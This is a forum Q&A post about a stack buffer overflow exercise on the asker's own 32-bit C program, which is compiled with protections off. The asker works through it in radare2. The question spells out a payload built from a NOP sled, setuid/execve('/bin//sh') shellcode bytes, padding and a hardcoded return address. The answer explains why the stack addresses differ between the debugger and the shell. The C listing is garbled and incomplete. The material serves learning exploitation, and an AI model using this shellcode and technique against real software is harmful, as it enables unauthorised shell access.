I using following C code for testing stack based simple buffer overflow

void copier(char *arg){
    char buffer[100];
int main(int argc, char *argv[]){
    return 0;

Compiled the code with

gcc -fno-stack-protector -z execstack -no-pie -fno-pic -m32 -o testcode testcode.c

ASLR is turned off

In order to get the offset from buffer which eip is overridden with I have used ragg2 to generate pattern and r2 to find offset

ragg2 -P 200 -r > input.txt
r2 -d testcode $(cat input.txt)
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x416d4141 code=1 ret=0

->wopO 0x416d4141

Now a simple string of length 116 can be sent as input to the program while debugging, so for this I have done the following

r2 -A -d testcode $(python -c "print('A'*116)")
> dcu sym.copier

Here is disassembled view of copier function

0x08048456      55             push ebp                                                                                             
0x08048457      89e5           mov ebp, esp                                                                                         
0x08048459      83ec78         sub esp, 0x78               ; 'x'                                                                    
0x0804845c      83ec08         sub esp, 8                                                                                           
0x0804845f      ff7508         push dword [ebp + 8]                                                                                 
0x08048462      8d4594         lea eax, [ebp - 0x6c]                                                                                
0x08048465      50             push eax                                                                                             
0x08048466      e8a5feffff     call sym.imp.strcpy         ;[1]                                                                     
0x0804846b      83c410         add esp, 0x10                                                                                        
0x0804846e      90             nop                                                                                                  
0x0804846f      c9             leave                                                                                                
0x08048470      c3             ret

After continuing execution upto sym.imp.strcpy, the buffer is

px @esp
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffffd060  7cd0 ffff 6bd3 ffff f8da fff7 dcd0 ffff  |...k...........
0xffffd070  0000 0000 9bff fdf7 0c82 0408 4141 4141  ............AAAA
0xffffd080  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd090  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0a0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0b0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0c0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0d0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0e0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xffffd0f0  00d3 ffff b4d1 ffff c0d1 ff              ...........

Now, from above I can generate a payload as - 64 byte nops + 32 byte shellcode + 16 Byte padding + address to override eip

Now the according to the memory dump found, I have chosen address 0xffffd0b0 to override eip(real shellcode starts at 0xffffd0bc, addresses before that filled with nops)

nop = '\x90'*64
payload = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
padding = 'A'*(112-64-32)
addr = '\xb0\xd0\xff\xff'


While debugging within radare2, after executing the return instruction in sym.copier eip gets overridden by the adress I provided. But When I run the program from a shell I am getting Illegal instruction(Core dumped)

What I found from Google and other stackexchange posts is that incorrect environment variable settings may cause this problem. So within radare2 I have checked the loaded environment variables by

dcu entry0
pxr @esp

I found that there is one environment variable OLDPWD is present in stack which is not present in the output of env command. Another variable TMPDIR is also present sometimes. Another thing is (pardon me if this is not related at all) after executing !env within radare2 I found some of the actual environment variables were missing which are present in env output and some other debugging related variables were also present (GJS_DEBUG_TOPICS, RABIN2_LANG etc.)

radare2 version

radare2 3.7.0-git 22245 @ linux-x86-64 git.3.6.0-14-g4a1392932
commit: 4a1392932e08296283bbd8edb09cc35998a66d29 build: 2019-06-27__22:50:24

I just don't know how to proceed to find an address that I can hardcode into exploit.

1 Answer 1


So, first, getting an illegal instruction while exploiting a buffer-overflow is quite common. It just means that you jumped in the middle of the memory where the bytes do not correspond to any meaningful assembly instruction. Basically, you can interpret this as: You jumped to the wrong address and try to change the landing address of your exploit.

Second, you have to understand that the memory context of the stack is quite 'fragile' because it is the consequence of memory layout of everything that came prior to the vulnerable function.

For example, the environment (the memory area where you store all the environment variables, the infamous envp, such as PATH, HOME, ...) is set up just before the main() function is started. Adding a new variable, or changing the size of a variable inside this environment can impact the start position of your buffer (and therefore the place where you land while exploiting your buffer).

enter image description here

Now, putting all together, when you are exploiting your buffer-overflow under the radare2 debugger, you have to know that radare2 is very likely setting a few extra variables in the environment. Which means that the address of the buffer you use in the radare2 context cannot be used when you are in the shell context.

The best way to workaround is to run an ltrace in the shell context, get the address of the buffer (you should see it appear when it calls strcpy() in the libc). And, use this address in place of the one you used previously.


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.